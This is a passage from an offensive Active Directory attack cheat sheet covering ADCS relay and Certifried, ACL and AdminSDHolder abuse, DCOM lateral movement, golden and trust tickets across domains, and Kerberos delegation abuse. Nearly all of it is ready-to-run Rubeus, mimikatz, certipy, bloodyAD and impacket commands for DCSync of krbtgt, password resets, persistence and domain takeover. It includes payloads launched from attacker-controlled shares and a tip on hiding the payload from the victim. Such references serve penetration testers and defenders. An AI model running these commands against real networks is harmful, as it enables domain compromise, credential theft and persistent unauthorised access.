# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```

- Version 2: NTLM Relay + Mimikatz + Kekeo

```
impacket> python3 ./examples/ntlmrelayx.py -t
http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template
DomainController
```

```
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local
/ptt

# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```

- Version 3: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.

```
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output
C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username
pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

# ADCSPwn arguments
adcs            -       This is the address of the AD CS server which
authentication will be relayed to.
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication from.
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate Templates
(LDAP).
unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw
(Petitpotam) .
output          -       Output path to store base64 generated crt.
```

- Version 4: Certipy ESC8

```
certipy relay -ca 172.16.19.100
```

Certifried CVE-2022-26923

> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

- Find `ms-DS-MachineAccountQuota`

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10
getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota
```

- Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10
addComputer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user
'cve' -dns 'dc.lab.local'
```

- [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN

```
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute
'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
```

- Set the `dNSHostName` attribute to match the Domain Controller hostname

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10
setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
'["DC.lab.local"]'
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10
getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
```

- Request a ticket

```
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -
dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -
dc-ip 10.10.10.10 -ca lab-ADCS-CA
```

- Either use the pfx or set a RBCD on your machine account to takeover the domain

```
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python bloodyAD.py -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10
setRbcd 'CVE$' 'CRASHDC$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip
10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt
'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip
10.10.10.10
```

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.

> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with `AdminCount=1`.

```
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]'
domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```

AdminSDHolder Abuse

> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -
PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights
ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName
toto -Verbose -Rights All
```

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

```
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -
EffectiveRightsPrincipal User1 -Output HTML -Show
```

GenericAll

- **GenericAll on User** : We can reset user's password without knowing the current password
- **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :

- On Windows : `net group "domain admins" hacker /add /domain`
- On Linux:
  - using the Samba software suite : `net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
  - using bloodyAD: `bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`

- **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.

```
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

# Check if current user has already an SPN setted:
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname

# Force set the SPN on the account: Targeted Kerberoasting
PowerView2 > Set-DomainObject <UserName> -Set
@{serviceprincipalname='ops/whatever1'}
PowerView3 > Set-DomainObject -Identity <UserName> -Set
@{serviceprincipalname='any/thing'}

# Grab the ticket
PowerView2 > $User = Get-DomainUser username
PowerView2 > $User | Get-DomainSPNTicket | fl
PowerView2 > $User | Select serviceprincipalname

# Remove the SPN
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
```

- **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.

  - On Windows:

```
# Modify the userAccountControl
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
PowerView2 > Set-DomainObject -Identity username -XOR
@{useraccountcontrol=4194304} -Verbose

# Grab the ticket
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

# Set back the userAccountControl
PowerView2 > Set-DomainObject -Identity username -XOR
@{useraccountcontrol=4194304} -Verbose
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
```

  - On Linux:

```
# Modify the userAccountControl
$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword
setDontReqPreauthFlag target_user

# Grab the ticket
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat |
john]> -outputfile <output_AS_REP_responses_file>

# Set back the userAccountControl
$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword
setDontReqPreauthFlag target_user false
```

GenericWrite

- Reset another user's password
    - On Windows:

    ```
    #
    https://github.com/EmpireProject/Empire/blob/master/data/module_source/situ
    ational_awareness/network/powerview.ps1
    $user = 'DOMAIN\user1';
    $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
    Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -
    Credential $creds;
    ```

    - On Linux:

    ```
    # Using rpcclient from the  Samba software suite
    rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2
    target_user 23 target_newpwd"

    # Using bloodyAD with pass-the-hash
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p
    :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
    ```

- WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

GenericWrite and Remote Connection Manager

> Now let's say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called 'Environment'.
>
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The

> settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

- WriteDACL on Domain:
    - On Windows:

      ```
      # Give DCSync right to the principal identity
      Import-Module .\PowerView.ps1
      $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
      $Cred = New-Object
      System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1',
      $SecPassword)
      Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local'
      -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
      ```

    - On Linux:

  ```
  # Give DCSync right to the principal identity
  bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p
  :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2

  # Remove right after DCSync
  bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p
  :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2
  ```

- WriteDACL on Group

```
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -
PrincipalIdentity User1
net group "INTERESTING_GROUP" User1 /add /domain
```

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

```
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-
admpwd','ms-mcs-admpwdexpirationtime'
```

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-
ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```

ForceChangePassword

An attacker can change the password of the user this ACE applies to:

- On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):

```
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

- On Linux:

```
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 
target_newpwd"

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p 
:B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```

DCOM Exploitation

> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

- Impacket DCOMExec.py

```
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-
object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-
pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] 
target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:
<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:
<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'

python3 dcomexec.py -object MMC20 -silentcommand -debug 
$DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application 
object.
# -silentcommand executes the command without attempting to retrieve the output.
```

- CheeseTools - https://github.com/klezVirus/CheeseTools

```
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE          Target Machine
-b, --binary=VALUE          Binary: powershell.exe
-a, --args=VALUE            Arguments: -enc <blah>
-m, --method=VALUE          Methods: MMC20Application, ShellWindows,
                             ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                             OutlookShellEx, ExcelXLL, VisioExecLine, 
                             OfficeMacro
-r, --reg, --registry       Enable registry manipulation
-h, -?, --help              Show Help

Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, 
VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
```

- Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1

```
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command 
"calc.exe"
```

```
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command
"calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
```

DCOM via MMC Application Class

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.

```
PS C:\> $com =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1
"))
PS C:\>
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$nu
ll,7)
PS C:\>
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v
1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string >
","7")

# Weaponized example with MSBuild
PS C:\>
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.
10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framewor
k\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
```

Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1

DCOM via Office

- Excel.Application
  - DDEInitiate
  - RegisterXLL
- Outlook.Application
  - CreateObject->Shell.Application->ShellExecute
  - CreateObject->ScriptControl (office-32bit only)
- Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
  - Addons
  - ExecuteLine
- Word.Application
  - RunAutoMacro

```
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro
through DCOM
Invoke-Excel4DCOM64.ps1
https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1
https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a

# Using Excel DDE
```

```
PS C:\> $excel =
[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",
"$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v
AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel =
[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",
"$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp",
"$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
```

DCOM via ShellExecute

```
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c
calc.exe","C:\windows\system32",$null,0)
```

DCOM via ShellBrowserWindow

:warning: Windows 10 only, the object doesn't exists in Windows 7

```
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

Trust relationship between domains

- One-way
  - Domain B trusts A
  - Users in Domain A can access resources in Domain B
  - Users in Domain B cannot access resources in Domain A
- Two-way
  - Domain A trusts Domain B
  - Domain B trusts Domain A
  - Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

```
nltest /trusted_domains
```

or

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRe
lationships()

SourceName          TargetName                     TrustType      TrustDirection
----------          ----------                     ---------      --------------
domainA.local      domainB.local                   TreeRoot       Bidirectional
```

Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

Source	Target	Technique to use	Trust relationship
Root	Child	Golden Ticket + Enterprise Admin group (Mimikatz /groups)	Inter Realm (2-way)
Child	Child	SID History exploitation (Mimikatz /sids)	Inter Realm Parent-Child (2-way)
Child	Root	SID History exploitation (Mimikatz /sids)	Inter Realm Tree-Root (2-way)
Forest A	Forest B	PrinterBug + Unconstrained delegation ?	Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements:

- KRBTGT Hash
- Find the SID of the domain

```
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```

- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.

```
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local
/sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519
/ptt
```

Forest to Forest Compromise - Trust Ticket

- Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

Dumping trust passwords (trust keys)

> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.

```
lsadump::trust /patch

or find the TRUST_NAME$ machine account hash
```

Create a forged trust ticket (inter-realm TGT) using Mimikatz

```
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21...
/rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com
/ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-
5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-
519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt
/target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```

Use the Trust Ticket file to get a TGS for the targeted service

```
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-
dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

Inject the TGS file and access the targeted service with the spoofed rights.

```
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```

Kerberos Unconstrained Delegation

> The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

:warning: Unconstrained delegation used to be the only option available in Windows 2000

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Requirements:

- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION**
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group
- User must not have the flag **Account is sensitive and cannot be delegated**

Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the `TrustedForDelegation` property.

- ADModule

  ```
  # From https://github.com/samratashok/ADModule
  PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
  ```

- ldapdomaindump

  ```
  $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
  grep TRUSTED_FOR_DELEGATION domain_computers.grep
  ```

- CrackMapExec module

  ```
  cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
  ```

SpoolService status

Check if the spool service is running on the remote host

```
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

Monitor with Rubeus

Monitor incoming connections from Rubeus.

```
Rubeus.exe monitor /interval:1
```

Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-
NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-
2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME>
<VICTIM-DC-NAME>
```

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`

Mitigation

- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service

MS-EFSRPC Abuse with Unconstrained Delegation

Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.

```
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Kerberos Constrained Delegation

> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

```
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```

Exploit the Constrained Delegation

- Impacket

  ```
  $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate
  Administrator -dc-ip 10.10.10.10
  ```

- Rubeus

  ```
  $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
  $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash
  /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com
  /msdsspn:cifs/srv01.domain.com /ptt
  $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH
  /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com"
  /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
  $ dir \\dc.domain.com\c$
  ```

Impersonate a domain user on a resource

Require:

- SYSTEM level privileges on a machine configured with constrained delegation

```
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity
@('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

1. Import **Powermad** and **Powerview**

```
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```

2. Get user SID

```
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid |
Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match
$AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

```
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString
'Weakest123*' -AsPlainText -Force)
```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

```
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand
objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-
allowedtoactonbehalfofotheridentity' | select -expand msds-
allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -
ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
```

```
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties
objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes =
New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-
DomainComputer DC01 | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}

# alternative
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
```

5. Use Rubeus to get hash from password

```
Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
[*] Input password             : Weakest123*
